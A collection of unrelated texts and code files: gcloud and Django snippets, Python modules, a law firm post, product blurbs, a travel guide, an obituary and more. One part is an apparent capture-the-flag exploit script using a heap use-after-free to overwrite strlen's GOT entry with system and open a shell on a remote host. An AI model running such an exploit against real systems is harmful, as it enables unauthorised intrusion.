console_io.PromptContinue(message='You are about to delete service '
'account [{0}].'.format(args.account),
cancel_on_no=True)
self.iam_client.projects_serviceAccounts.Delete(
self.messages.IamProjectsServiceAccountsDeleteRequest(
name=iam_util.EmailToAccountResourceName(args.account)))
log.status.Print('deleted service account [{0}]'.format(args.account))
except exceptions.HttpError as error:
raise iam_util.ConvertToServiceAccountException(error, args.account)
|
Posted January 5th, 2016 by Anthony Carbone, PC.
There are many misconceptions of when a judge will order a restraining order forbidding contact between parties. Some feel mistakenly feel that restraining orders will be granted for disputes between neighbors or friends. Others attempt to obtain restraining orders for minor disagreements. Learn here what you should know about restraining orders.
First, it should be clear that there are different types of restraining orders. The most common restraining order is granted to people that seeking relief under the Prevention of Domestic Violence Act (PDVA). A restraining order is a formal document signed by a judge designed to protect individuals from domestic violence.
Who is Eligible for a Restraining Order?
You can read more about domestic violence and minors here. There is a distinction between acts that seemingly appear to be domestic violence, but involve minors who have not been emancipated.
We have noted that there are certain relationship requirements to obtain a restraining order under domestic violence laws. But, what if a person is sexually assaulted by a stranger? What if the sexual attacker is someone the victim knows, but never dated or married? Nicole’s Law allows the victim to seek protection against her assailant. A judge may grant a restraining order to prevent the accused from coming in contact with the victim. There is no requirement for conviction for the issuance of a restraining order under Nicole’s Law. The restraining order is often ordered as a condition for bail.
Those accused of certain drug offenses may be issued a restraining order under the Drug Offender Restraining Order Act (DORA). This type of restraining order may ban a defendant from specified locations.
Restraining orders are serious matters. If you feel you need a restraining order, the Law Offices of Anthony Carbone can offer you assistance. Similarly, if someone is seeking a restraining order against you, we suggest legal counsel. Contact us to see how we can help you.
|
# coding=utf-8
__author__ = "AstroPrint Product Team <product@astroprint.com>"
__license__ = 'GNU Affero General Public License http://www.gnu.org/licenses/agpl.html'
import platform
from gi.repository import Gst
from .base_video_src import VideoSrcBinBase
from astroprint.manufacturerpkg import manufacturerPkgManager
#
# Base class for V4L2 Based Video sources
#
class V4L2VideoSrcBin(VideoSrcBinBase):
def __init__(self, pipeline, device, size, rotation):
distName, distVersion, id = platform.linux_distribution()
self._linuxDistVersion = int(distVersion.split('.')[0])
self.__useVideoConvert = self._linuxDistVersion > 9
self.__videoSourceElement = None
self.__videoConvertElement = None
self.__videoLogoElement = None
self.__videoSourceCaps = None
super(V4L2VideoSrcBin, self).__init__(pipeline, device, size, rotation)
# Creates, adds to the bine and links elements for the source Chain. returns the last element of the chain
def _constructSrcChain(self):
self.__videoSourceElement = Gst.ElementFactory.make('v4l2src', 'video_source')
self.__videoSourceElement.set_property("device", self._device)
if self.__useVideoConvert:
self.__videoConvertElement = Gst.ElementFactory.make('videoconvert', 'vconvert')
self.__videoSourceCaps = Gst.ElementFactory.make("capsfilter", "caps_filter")
self.__videoSourceCaps.set_property("caps", Gst.Caps.from_string(self._getVideoSourceCaps()))
#Add Elements to the pipeline
self._bin.add(self.__videoSourceElement)
self._bin.add(self.__videoSourceCaps)
if self.__videoConvertElement:
self._bin.add(self.__videoConvertElement)
self.__videoSourceElement.link(self.__videoSourceCaps)
if self.__videoConvertElement:
self.__videoSourceCaps.link(self.__videoConvertElement)
lastLink = self.__videoConvertElement
else:
lastLink = self.__videoSourceCaps
width, height = self._size
#check if we need to rotate the video
if self._rotation != 0:
if self._rotation in [1,3]:
#dimentions are flipped
height, width = self._size
self.__videoflipElement = Gst.ElementFactory.make('videoflip', 'videoflip')
self.__videoflipElement.set_property("method", self._rotation)
self._bin.add(self.__videoflipElement)
lastLink.link(self.__videoflipElement)
lastLink = self.__videoflipElement
mfWatermark = manufacturerPkgManager().video_watermark
if mfWatermark is False: #There is no watermark
return lastLink
else: # We need to setup a watermark
logoHeight = round(height * self.LOGO_HEIGHT_PERCENT)
logoWidth = round(logoHeight / self.LOGO_ASPECT_RATIO)
# ASTROPRINT'S LOGO FROM DOWN RIGHT CORNER
self.__videoLogoElement = Gst.ElementFactory.make('gdkpixbufoverlay', 'logo_overlay')
if mfWatermark is None: # Use AstroPrint's default
self.__videoLogoElement.set_property('location', '/AstroBox/src/astroprint/static/img/astroprint_logo.png')
else:
self.__videoLogoElement.set_property('location', '/AstroBox/src/astroprint/static/img/variant/%s' % mfWatermark)
self.__videoLogoElement.set_property('overlay-width', logoWidth)
self.__videoLogoElement.set_property('overlay-height', logoHeight)
self.__videoLogoElement.set_property('offset-x', width - ( logoWidth + 10 ) )
self.__videoLogoElement.set_property('offset-y', height - ( logoHeight + 5 ) )
self._bin.add(self.__videoLogoElement)
lastLink.link(self.__videoLogoElement)
return self.__videoLogoElement
#Implement this in the subclasses below
def _getVideoSourceCaps(self):
pass
#
# Base class for USB Based Video sources
#
class UsbVideoSrcBin(V4L2VideoSrcBin):
def _getVideoSourceCaps(self):
if self._linuxDistVersion <= 9:
return 'video/x-raw,format={ I420, YV12, Y41B, Y42B, YVYU, Y444, NV21, NV12, RGB, BGR, RGBx, xRGB, BGRx, xBGR, GRAY8 },width=%d,height=%d,framerate={ 5/1, 10/1, 15/1, 25/1, 30/1 }' % self._size
else:
return 'video/x-raw,width=%d,height=%d,framerate={ 5/1, 10/1, 15/1, 25/1, 30/1 }' % self._size
#
# Base class for Raspicam Based Video sources
#
class RaspicamVideoSrcBin(V4L2VideoSrcBin):
def _getVideoSourceCaps(self):
if self._linuxDistVersion <= 9:
return 'video/x-raw,format=I420,width=%d,height=%d,framerate=30/1' % self._size
else:
return 'video/x-raw,width=%d,height=%d,framerate=30/1' % self._size
|
Lymington Golf Centre has a dedicated practice area with covered bays and marked yardages up to 200. We have nets to perfect your swing and a new short game practice area which includes a brand new green and a practice bunker.
We do not allow drivers or clubs on the practice range that can hit over 175 yards.
|
from django.contrib import admin
from .models import ExtLayer, ExtMap, ExtLayerAttribute, LayerStats, MapStats, Endpoint, Action
class ExtLayerAdmin(admin.ModelAdmin):
list_display = (
'layer',
'last_modified',
'gazetteer_project',
'in_gazetteer',
'searchable',
'last_modified',
)
class ExtMapAdmin(admin.ModelAdmin):
list_display = (
'map',
'content_map',
)
class LayerStatsAdmin(admin.ModelAdmin):
list_display = (
'layer',
'visits',
'uniques',
'last_modified',
)
class MapStatsAdmin(admin.ModelAdmin):
list_display = (
'map',
'visits',
'uniques',
'last_modified',
)
class ExtLayerAttributeAdmin(admin.ModelAdmin):
list_display = (
'layer_name',
'searchable',
)
class EndpointAdmin(admin.ModelAdmin):
list_display = ('id', 'description', 'owner', 'url')
list_display_links = ('id',)
search_fields = ['description', 'url']
class ActionAdmin(admin.ModelAdmin):
"""
Admin for Action.
"""
list_display = ('id', 'timestamp', 'action_type', 'description', )
list_filter = ('action_type', )
date_hierarchy = 'timestamp'
ordering = ('-timestamp',)
admin.site.register(ExtLayer, ExtLayerAdmin)
admin.site.register(ExtMap, ExtMapAdmin)
admin.site.register(LayerStats, LayerStatsAdmin)
admin.site.register(MapStats, MapStatsAdmin)
admin.site.register(ExtLayerAttribute, ExtLayerAttributeAdmin)
admin.site.register(Endpoint, EndpointAdmin)
admin.site.register(Action, ActionAdmin)
|
Dusty rose skinny tie with large floral print. 100% cotton, iron with medium to high heat before wearing. Necktie is approximately 58” in length and 2.5” at the widest point.
|
""" User facing constructors for basic shapes.
Names from this module may optionally be imported as "from codecad.shapes import *".
Basic shape interface is composed of functions defined here and of methods on
Shape objects (transformations, shell, extrude ...)"""
import math
from . import simple2d as _s2
from . import simple3d as _s3
from . import polygons2d as _polygons2d
from . import unsafe
from . import gears
from . import airfoils
def rectangle(x=1, y=None):
if y is None:
y = x
return _s2.Rectangle(x, y)
def circle(d=1, r=None):
return _s2.Circle(d, r)
def half_plane():
return _s2.HalfPlane()
def regular_polygon2d(n, d=1, r=None, side_length=None, across_flats=None):
return _s2.RegularPolygon2D(n, d, r, side_length, across_flats)
def polygon2d(points):
return _polygons2d.Polygon2D(points)
def polygon2d_builder(origin_x, origin_y):
return _polygons2d.Polygon2D.build(origin_x, origin_y)
def capsule(x1, y1, x2, y2, width):
""" Use zero thickness rectangle trick to model a 2D capsule between two points """
dx = x2 - x1
dy = y2 - y1
length = math.hypot(dx, dy)
angle = math.atan2(dy, dx)
return (
rectangle(length, 0)
.offset(width / 2)
.rotated(math.degrees(angle))
.translated((x1 + x2) / 2, (y1 + y2) / 2)
)
def box(x=1, y=None, z=None):
if (y is None) != (z is None):
raise ValueError("y and z must either both be None, or both be number")
if y is None:
y = x
z = x
return rectangle(x, y).extruded(z)
def sphere(d=1, r=None):
if r is not None:
d = 2 * r
return _s3.Sphere(d)
def cylinder(h=1, d=1, r=None, symmetrical=True):
return circle(d=d, r=r).extruded(h, symmetrical)
def half_space():
return _s3.HalfSpace()
def _group_op_helper(shapes, name, op2, op3, r):
""" Check that shapes is not empty and that dimensions match """
shapes = list(shapes)
if len(shapes) == 0:
raise ValueError(
name + " of empty set objects doesn't make much sense, does it?"
)
elif len(shapes) == 1:
return shapes[0]
else:
dim = shapes[0].dimension()
if any(shape.dimension() != dim for shape in shapes):
raise ValueError(name + " needs shapes of identical dimensions")
if dim == 2:
return op2(shapes, r=r)
else:
return op3(shapes, r=r)
def union(shapes, r=-1):
return _group_op_helper(shapes, "Union", _s2.Union2D, _s3.Union, r)
def intersection(shapes, r=-1):
return _group_op_helper(
shapes, "Intersection", _s2.Intersection2D, _s3.Intersection, r
)
# pylama:ignore=W0611
|
Hardcover, 8.50 x 10.25 in. / 264 pgs / 192 color.
Artwork by Juan Muìoz, Julião Sarmento. Contributions by Louise Neri. Text by Alexandre Melo, Simon Baker, Juan Carlos Marset, Chrissie Iles, Adrian Searle.
One of the European artists who has best combined text, image, and movement, Julião Sarmento's multidisciplinary oeuvre evinces the tension that exists between image and word, between what is explicitly biographical and the impossibility of all forms of narration. Over the past 26 years, Sarmento's work has revealed an intimate and passionate pre-occupation with desire, explored both in the realm of the speculative and the gestural. Within his work there is no chronology, no unfolding narrative, no apparent logic--simply glimpses of experience that give visual form to primordial desires, ones felt but not defined. Working with various media, including paint, print, photography, sculpture and video, he determines to define the intangible gap between experience and memory, now and then.
FORMAT: Hardcover, 8.50 x 10.25 in. / 264 pgs / 192 color.
|
from json import dumps
from damvitool.utils import to_json_type
from morepath import redirect, Response, NO_IDENTITY, Identity
from damvitool.main import DamvitoolApp
from damvitool.model import Root, Database, Table, Record, UniGridRequest
from webob.exc import HTTPException
__author__ = 'alex-smirnov'
@DamvitoolApp.json(model=Root)
def root_default(self, request):
return self.get_schema(request)
@DamvitoolApp.json(model=Database, permission=Identity)
def database(self, request):
return self.get_schema(request)
@DamvitoolApp.json(model=Database, name='mode', permission=Identity)
def database_mode(self, request):
"""Get database MODE data
"""
return self.get_mode()
@DamvitoolApp.json(model=Table, permission=Identity)
def tables(self, request):
return {
'data': [request.view(Record.from_object(r)) for r in self.select()],
'add': request.link(self, 'add')
}
@DamvitoolApp.json(model=Table, name='add', request_method='POST', permission=Identity)
def tables_add(self, request):
"""Add record to table with values form request body
"""
r = self.add(request.json)
return request.view(Record.from_object(r))
@DamvitoolApp.json(model=Record, permission=Identity)
def record(self, request):
"""Get json object with record data
"""
obj = self.get()
result_dict = {}
for column in obj.__table__.columns.keys():
result_dict[column] = to_json_type(getattr(obj, column, None))
result_dict['__url__'] = request.link(self)
# add links to related resources
result_dict['__links__'] = dict()
for foreign_key in obj.__table__.foreign_keys:
column_names = foreign_key.constraint.columns
column_values = [getattr(obj, column_name, None) for column_name in column_names]
if [val for val in column_values if val]:
table = foreign_key.column.table.name
result_dict['__links__'][foreign_key.name or str(foreign_key)] = request.link(Record(table, column_values))
return result_dict
@DamvitoolApp.json(model=Record, request_method='PATCH', permission=Identity)
def record_patch(self, request):
"""Upgrade record data
"""
r = self.patch(request.json)
return request.view(Record.from_object(r))
@DamvitoolApp.json(model=Record, request_method='PUT', permission=Identity)
def record_put(self, request):
"""Replace record data
"""
r = self.replace(request.json)
return request.view(Record.from_object(r))
@DamvitoolApp.json(model=Record, request_method='DELETE', permission=Identity)
def record_put(self, request):
"""Delete record
"""
self.remove()
return {}
@DamvitoolApp.json(model=UniGridRequest, request_method='POST', permission=Identity)
def uni_grid_request(self, request):
return self.query(request.json)
@DamvitoolApp.json(model=UniGridRequest, name='summaries', request_method='POST', permission=Identity)
def uni_grid_request_summaries(self, request):
return self.query_summaries(request.json)
@DamvitoolApp.view(model=UniGridRequest, name='export', request_method='POST', permission=Identity)
def uni_grid_request_export(self, request):
return self.query_export(request.json)
@DamvitoolApp.view(model=Exception)
def error(self, request):
"""Error view
Return json object with error description if code raise Exception exception
"""
data = {
'code': 500,
'error': str(self)
}
return Response(dumps(data), content_type='application/json', status=500)
@DamvitoolApp.view(model=HTTPException)
def http_error(self, request):
"""HTTP error view
If morepath or other code raise HTTPException exception, return json response with data about error
"""
data = {
'code': self.code,
'error': str(self)
}
return Response(dumps(data), content_type='application/json', status=self.code)
|
So, about 3 months ago, I was offered free tics to go see the Killers. I remember exactly when it was b/c it was the night before we drove down to C-bus for my sister’s commencement ceremony at OSU. I felt guilty about accepting the free tics, b/c I felt that I didn’t work for them or earn them in any way. Does that make sense?
So, anyway, they were in town Friday night, & Mr. T got to hang out with them for afterhours. They were down where Mr. T works after they finished up their show at the Wolstein Center to chill & hang out.
I normally go & hang out w/ Mr. T on Fridays, but this Friday, I was just too exhausted to do so. (I’d only gotten 2 hours of sleep the night before). It’s cool though, I mean what’s meant to be will be, right? I guess it just wasn’t meant for me to see any killers this year.
If I know anything, it’s that they will kill again.
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *
#host = "10.211.55.6"
#port = 8888
host = "52.79.83.139"
port = 31337
r = remote(host,port)
def register(ids,pw,name,types,profile=None):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(types))
r.recvuntil(":")
r.sendline(ids)
r.recvuntil(":")
r.sendline(pw)
r.recvuntil(":")
r.sendline(name)
if types == 2 :
r.recvuntil(":")
r.sendline(profile)
def login(ids,pw):
r.recvuntil(">")
r.sendline("1")
r.recvuntil(":")
r.sendline(ids)
r.recvuntil(":")
r.sendline(pw)
def writemusic(name,lyc):
r.recvuntil(">")
r.sendline("1")
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(lyc)
def delmusic(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def createbox(name):
r.recvuntil(">")
r.sendline("1")
r.recvuntil(":")
r.sendline(name)
def delbox(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def buymusic(idx):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def putmusic(box,idx):
r.recvuntil(">")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(box))
r.recvuntil(">")
r.sendline(str(idx))
def ret():
r.recvuntil(">")
r.sendline("5")
def ret9():
r.recvuntil(">")
r.sendline("9")
def delu(idx):
r.recvuntil(">")
r.sendline("8")
r.recvuntil(":")
r.sendline(str(idx))
def mov_box_box(src,dest,idxs,idxd):
r.recvuntil(">")
r.sendline("5")
r.recvuntil(":")
r.sendline(str(src))
r.recvuntil(":")
r.sendline(str(dest))
r.recvuntil(":")
r.sendline(str(idxs))
r.recvuntil(":")
r.sendline(str(idxd))
def editpro(data):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(":")
r.sendline(data)
def showbox():
r.recvuntil(">")
r.sendline("6")
def editmusic(idx,lyc):
r.recvuntil(">")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
r.sendline(lyc)
register("ddaa","nogg","phd",1)
register("orange","nogg","phd",2,"wtf")
login("orange","nogg")
writemusic("meh","qq")
ret()
login("ddaa","nogg")
createbox("meh")
buymusic(0)
putmusic(0,0)
ret9()
login("orange","nogg")
delmusic(0)
ret()
login("ddaa","nogg")
delu(0)
mov_box_box(0,0,0,0) #trigger uaf
reg = 0x607340
createbox(p64(reg))
showbox()
r.recvuntil("Lyrics : ")
heap = u64(r.recvuntil("-")[:-1].ljust(8,"\x00")) - 0x11f30
print hex(heap)
ret9()
login("orange","nogg")
writemusic("lays","nogg")
writemusic("laysnogg","nogg")
ret()
login("ddaa","nogg")
createbox("mehqq")
buymusic(0)
putmusic(2,0)
ret9()
login("orange","nogg")
delmusic(0)
ret()
login("ddaa","nogg")
delu(0)
fake_music = heap + 0x12340
mov_box_box(2,2,0,0)
createbox(p64(fake_music))
delbox(2)
orange = heap + 0x11eb0
ret9()
register("angelboy","xx","angel",2,"a"*0x20)
login("angelboy","xx")
strlen_got = 0x605078
fake_music = p64(strlen_got)*2 + p64(0) + p64(orange)
editpro(fake_music)
ret()
login("ddaa","nogg")
r.recvuntil(">")
r.sendline("3")
r.recvuntil("1. ")
libc = u64(r.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0x8b720
print hex(libc)
r.recvuntil(":")
r.sendline("4")
ret9()
login("angelboy","xx")
system = libc + 0x45390
editmusic(1,p64(system)[:6])
r.recvuntil(">")
r.sendline("1")
r.recvuntil(":")
r.sendline("sh")
r.recvuntil(":")
r.sendline("sh")
r.interactive()
|
The Catalonia - La Pedrera Foundation has accepted the challenge of reinventing proposals for solidarity and contribute to social change. The Fundació Catalunya - La Pedrera was born on 1 January 2013 to respond to a new social reality, and do so with a new vision. Our environment is changing, seeing an emergence of new social consciousness and new needs and ambitions. So they reinvented themselves without losing the essence of who they are: a foundation that focuses on ethics and innovation, which believes in the proximity and dynamism, and which wants to realize transformations by committed actions to the region and its people.This means that they want to do things differently, but above all, making them differently, and at the same time ensuring that they are also a financially sustainable entity.
They are a new organization and we want to be unique. They serve a country, which is unique for its rich natural heritage, the creativity of their culture, and for the generosity and solidarity of its people. Their mission is to work proactively for the development and social transformation of Catalonia, placing themselves next to those who need them, to entrepreneurs, to those who work for the future, those who create new ideas.
But the transforming actions of the Foundation extend intensively throughout the country. For example, our cultural and environmental equipment Món Sant Benet, Món Natura Natura Món Pirineus or Delta. But we manage social spaces as well, like Network health centers, or in natural areas.
Click here to go to the foundation's website (just in Spanish and Catalan).
|
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 20 12:11:24 2018
@author: tedoreve
"""
import matplotlib.pyplot as plt
import numpy as np
import astropy.constants as con
import astropy.units as un
def maxwell(T,m,v):
a = np.sqrt(con.k_B*T/con.m_e)
print('a=',a.to('km/s'))
return np.sqrt(2/np.pi)*v**2/a**3 * np.exp(-v**2/2/a**2)
def ptotal(v):
dv = v[1]-v[0]
p = maxwell(T,con.m_e,v).to('s/km')*dv
return np.sum(p)
def accelerator(p,n,v):
fin = np.zeros(len(v))
for i in range(len(v)):
fin[i] = maxwell(T,con.m_e,v[i])*(1-p) + fin[i-1]*p
return fin
if __name__ == '__main__':
T = 50*un.K #ISM temperature before shock wave arrival
p = 0.5 #possibility that the particle remain within the accelerator after each cycle
n = 1 #the cycle times
dv= 1 #speed addition after each cycle
fig, ax = plt.subplots(1, 1)
v = np.linspace(0,200, (201-0)/dv)*un.km/un.s
ax.plot(v, maxwell(T,con.m_e,v).to('s/km'),'r-', lw=5, alpha=0.6, label='maxwell pdf')
ax.set_xlabel('v (km/s)')
ax.set_ylabel('pdf (possibility per km/s)')
ax.set_title('Maxwell Speed Distribution')
plt.legend()
|
An insider's guide to Toronto, featuring the city's best hotels, restaurants, bars, shops, attractions and free things to do, including how to travel there and around. By Paul Wade, Telegraph Travel's Toronto expert. Click on the tabs below for the best places to stay, eat, drink and shop.
Put simply: Toronto is fun. With top-notch restaurants and theatre, museums and art galleries, there is plenty to see and do. The downtown skyscrapers mark Canada’s financial hub, but after hours, business folk swap suits for shorts and head outside in summer; in winter, they pull on parkas and ice skates.
North America’s fourth-largest city, Toronto buzzes with 200,000 students and a population representing 200 nations. As well as ethnic restaurants, the food scene features some of Canada’s best chefs, all following the “fresh and local” mantra. Getting around is easy on the efficient transport system; Niagara Falls are two hours away.
Two decades ago, Canadians would have laughed at the idea of the provincial capital being a fun place to visit. Today, one of North America’s safest cities hosts visitors from around the world. Perhaps their best souvenir is memories of Torontonians themselves: welcoming, ready to help, with a smile.
Spring, when it comes, is warm (17C on average in May), but summers can be hot (25C in July, August). Autumn, fall in North America, is particularly attractive with warm days (September 20C, October 16C), cool evenings and brightly-coloured foliage. At the first sign of sunshine, Torontonians head for their favourite patios where they can drink a beer, watch the world go by and store up the warmth. Winters can be extremely cold.
But whenever you go, there is bound to be a festival or event, from music to comedy and theatre. The most star-studded annual event is the Toronto International Film Festival (mid-September; tiff.net). Now 40 years old, it draws Hollywood idols as well as thousands of fans. But there are stars here year round, thanks to a flourishing film industry. The city has provided the backdrop to blockbusters, such as Chicago and X-Men.
Toronto’s variety is surprising. The 1,815-ft CN Tower (cntower.ca) provides astonishing views over Lake Ontario. Below, Toronto’s cultural scene hums, with theatre, ballet and live music nightly in dozens of pubs. Classy museums include the Art Gallery of Ontario (ago.net), the Royal Ontario Museum (rom.on.ca) and the quirky Bata Museum, all about shoes (batashoemuseum.ca). Have fun in the Distillery District (thedistillerydistrict.com); buy funky fashion along Queen Street West (queenstwestbia.ca); munch your way round Kensington Market(kensington-market.ca) and St Lawrence Market (stlawrencemarket.com).
All British visitors travelling to Canada by AIR must have an Electronic Travel Authorization (eTA) to enter the country. If you are planning a trip to Canada, do apply in advance of booking your airline ticket. Purchase is straightforward, usually taking only a few minutes. The ETA costs C$7 and is valid for 5 years. NB: Any site charging more than C$7 is NOT the official government site.
British Consulate-General Toronto (001 416 593 1290; 777 Bay Street, Suite 2800, Toronto, Ontario M5G 2G2; gov.uk/government/world/Canada).
Tourist office: seetorontonow.com, the website for Toronto has extensive information on what’s on in the city and tips on where to go. To talk to a real person, the Tourism Toronto Call Centre (001 416 203 2500) is open Mon-Fri, 8.30am-5pm Eastern Standard Time. Pick up maps, leaflets and other information from the Toronto Travel Information Desk (001 416 392 9300) at Union Station, 65 Front Street West. Open 7 days a week from 10am - 6pm.
Currency: Canadian dollar. The one dollar coin is nicknamed the loonie, the two dollar coin is the toonie. Note: cents/pennies have been abandoned. Change is rounded to the nearest five cents.
International dialling code: to call Toronto from the UK, dial 001, then the ten-digit number. To call the UK from Toronto, dial: 011 44, but omit the ‘0’ at the front of UK numbers.
Visitor passes/discount cards: CityPASS Toronto (US$58; citypass.com) offers entrance to the CN Tower, Casa Loma, Royal Ontario Museum, Ripley's Aquarium of Canada and either Toronto Zoo or Ontario Science Centre, with savings of some 40%.
For taxis, tip 10%; in restaurants, add 15-20 per cent. Some restaurants add this automatically to groups of six or more; check your bill. HST (a bit like VAT) is 13 per cent.
|
# This software is licensed to you under the GNU General Public
# License as published by the Free Software Foundation; either version
# 2 of the License (GPLv2) or (at your option) any later version.
# There is NO WARRANTY for this software, express or implied,
# including the implied warranties of MERCHANTABILITY,
# NON-INFRINGEMENT, or FITNESS FOR A PARTICULAR PURPOSE. You should
# have received a copy of GPLv2 along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
# Filters for syncing remote package repos
# Grabbed from Pulp by John Morris <john@zultron.com>
#
# This is the main feature I wanted Pulp for; my use case is downloading
# a limited set of packages (whitelist) from a repo without having
# to sync the whole thing, but still retain yum's smarts for grabbing new
# versions and removing old ones
import re
import logging
LOG = logging.getLogger("grinder.Filter")
class Filter(object):
"""
Class represents a 'blacklist' or 'whitelist' filter type that can be
applied when syncing a local repository
regex_list is a list of regex strings to be applied to package 'filename'
(see below); if any regex matches, the Filter.test() will be true for
whitelists or false for blacklists
use the set_regex_list method to change the regex list after object
creation; this ensures that the regexes are compiled
(actually, using 'filename' seems hackish, but it's easy to do from
the command line and with simple regexes)
(more hackish still, because the closest yum.packages.PackageObject
appears to have to a 'filename' is its '__str__()', used instead
of some actual RPM filename)
"""
def __init__(self, type, regex_list=None, description=None):
self.description = description
self.type = type
self.set_regex_list(regex_list)
def __str__(self):
return "%s, %s filter with: %s" % (self.description, self.type, self.regex_list)
def set_regex_list(self,regex_list):
"""
Set the list of regexes & list of compiled regexes
"""
self.regex_list = []
self.regex_obj_list = []
if not regex_list:
return
for regex in regex_list:
self.regex_list.append(regex)
self.regex_obj_list.append(re.compile(regex))
def iswhitelist(self):
"""
return true if self is a whitelist
"""
return self.type == "whitelist"
def isblacklist(self):
"""
return true if self is a blacklist
"""
return self.type == "blacklist"
def test(self, pkg):
"""
return pkg if pkg passes through the filter, else None
pkg is a yum package object
"""
# the string we match against
pkg_filename = str(pkg)
# compare pkg to each regex & break if there's a match
match_result = None
for regex_obj in self.regex_obj_list:
if regex_obj.match(pkg_filename):
match_result = regex_obj.pattern
break
# return result based on match and filter type
if self.iswhitelist():
if match_result:
LOG.debug ("package %s: passed whitelist, matched %s" %
(pkg_filename, match_result))
return pkg
else:
LOG.debug ("package %s: blocked by whitelist" % pkg_filename)
return None
else:
if match_result:
LOG.debug ("package %s: blocked by blacklist, matched %s" %
(pkg_filename, match_result))
return None
else:
LOG.debug ("package %s: passed blacklist" % pkg_filename)
return pkg
|
Elmer Lee Walston, 82, of Greeley, Colorado passed away Friday, April 1, 2016 in his home. Elmer was born December 13, 1934 in Hamburg, Iowa to Grover and Effie (Ailshie) Walston. He is preceded in death by his many brothers and sisters.
On October 7, 1953 he married the former Joan Travis in Red Oak, Iowa. He is survived by his three children, son Rick (Karen) Walston, and daughters Cindy (Jay) Muir and Joni (Scott) Wagner, and many loving grandchildren, great-grandchildren, nieces, nephews and extended family. Elmer was a loving father, husband, grandfather and friend to all.
Elmer was a Building Inspector for both the City of Loveland and the City of Fort Collins. Before moving to Colorado, Elmer was a Captain on the Red Oak Volunteer Fire Department for 10 years, winning many awards during his tenure. Through the years Elmer enjoyed playing softball on the church league, bowling, fishing and water skiing. He and Joan also enjoyed traveling, taking many cruises and trips abroad. His favorite vacation was to Israel.
Elmer’s family would like to extend a special thank you to the staff at MeadowView of Greeley Assisted Living for the loving care and support they provided during the last four years. Also, thank you to Hospice of Northern Colorado for their care and support.
A Celebration of Life Open House will be held from 4 pm – 7 pm, Saturday, April 9, 2016 at Johnson’s Corner Banquet Room. Please join us to remember a life well lived. Go to www.viegutfuneralhome.com for condolences.
Site contents copyright © 2019 Recorder Online except as noted. All rights reserved. | 90 queries in 2.372 seconds.
|
# Public domain license.
# Author: igor.zavoychinskiy@gmail.com
# GitHub: https://github.com/ihsoft/KSPDev_ReleaseBuilder
# $version: 1
# $date: 07/13/2018
"""A client library to communicate with Spacedock via API.
Example:
import SpacedockClient
print 'KSP 1.4.*:', SpacedockClient.GetVersions(r'1\.4\.\d+')
SpacedockClient.API_LOGIN = 'foo' # Skip to have it asked from the console.
SpacedockClient.API_PASS = 'bar' # Skip to have it asked from the console.
CurseForgeClient.UploadFile(
'/var/files/archive.zip', '# BLAH!', '1.4.4', 'MyMod-1.4')
"""
import json
import logging
import re
import urllib2
from utils import FormDataUtil
# The account credentials.
API_LOGIN = None
API_PASS = None
# Endpoint for all the API requests
API_BASE_URL = 'https://spacedock.info'
# The actions paths.
API_AUTHORIZE = '/api/login'
API_UPDATE_MOD_TMPL = '/api/mod/{mod_id}/update'
API_GET_VERSIONS = '/api/kspversions'
API_GET_MOD = '/api/mod/{mod_id}'
LOGGER = logging.getLogger('ApiClient')
# The cache for the known versions of the game. It's requested only once.
cached_versions = None
# The authorization cookie. It's only created once. To refresh it, simply
# set it to None.
authorized_cookie = None
class Error(Exception):
"""Genric API client error."""
pass
class AuthorizationRequiredError(Error):
"""The method called requires authorization, but none has been provided."""
pass
class BadCredentialsError(Error):
"""The provided authorization token is refused."""
pass
class BadResponseError(Error):
"""Generic error from the API endpoint."""
pass
def GetKSPVersions(pattern=None):
"""Gets the available versions of the game.
This method caches the versions, fetched from the server. It's OK to call it
multiple times, it will only request the server once.
This call does NOT require authorization.
Args:
pattern: A regexp string to apply on the result. If not provided, all the
versions will be returned.
Returns:
A list of objects: { 'name': <KSP name>, 'id': <Spacedock ID> }. The list
will be filtered if the pattern is set.
"""
global cached_versions
if not cached_versions:
LOGGER.debug('Requesting versions to cache...')
response = _CallAPI(_MakeAPIUrl(API_GET_VERSIONS), None, None)
cached_versions = map(
lambda x: {'name': x['friendly_version'], 'id': x['id']}, response[0])
if pattern:
regex = re.compile(pattern)
return filter(lambda x: regex.match(x['name']), cached_versions)
return cached_versions
def GetModDetails(mod_id):
"""Gets the mod informnation.
This call does NOT require authorization.
Args:
mod_id: The mod to request.
Returns:
The response object.
"""
url = _MakeAPIUrl(API_GET_MOD, mod_id=mod_id)
response_obj, _ = _CallAPI(url, None, None)
return response_obj
def UploadFile(mod_id, filepath, changelog, mod_version, game_version):
"""Uploads the file to the CurseForge project.
The new file immediately becomes a default version.
Args:
mod_id: The mod ID to update.
filepath: A full or relative path to the local file.
changelog: The change log content.
mod_version: The version of the mod being published.
game_version: The KSP version to publish for.
Returns:
The response object.
"""
headers, data = FormDataUtil.EncodeFormData([
{ 'name': 'version', 'data': mod_version },
{ 'name': 'changelog', 'data': changelog },
{ 'name': 'game-version', 'data': game_version },
{ 'name': 'notify-followers', 'data': 'yes' },
{ 'name': 'zipball', 'filename': filepath },
])
url, headers = _GetAuthorizedEndpoint(
API_UPDATE_MOD_TMPL, headers, mod_id=mod_id)
resp = _CallAPI(url, data=data, headers=headers)
def _MakeAPIUrl(action_path, **kwargs):
"""Makes a URL for the action."""
return API_BASE_URL + action_path.format(**kwargs)
def _CallAPI(url, data, headers, raise_on_error=True):
"""Invokes the API call."""
resp_obj = { 'error': True, 'reason': 'unknown' }
try:
request = urllib2.Request(url, data, headers=headers or {})
response = urllib2.urlopen(request)
resp_obj = json.loads(response.read())
headers = response.info().dict
except urllib2.HTTPError as ex:
resp_obj = { 'error': True, 'reason': '%d - %s' % (ex.code, ex.reason) }
try:
resp_obj = json.loads(ex.read())
except:
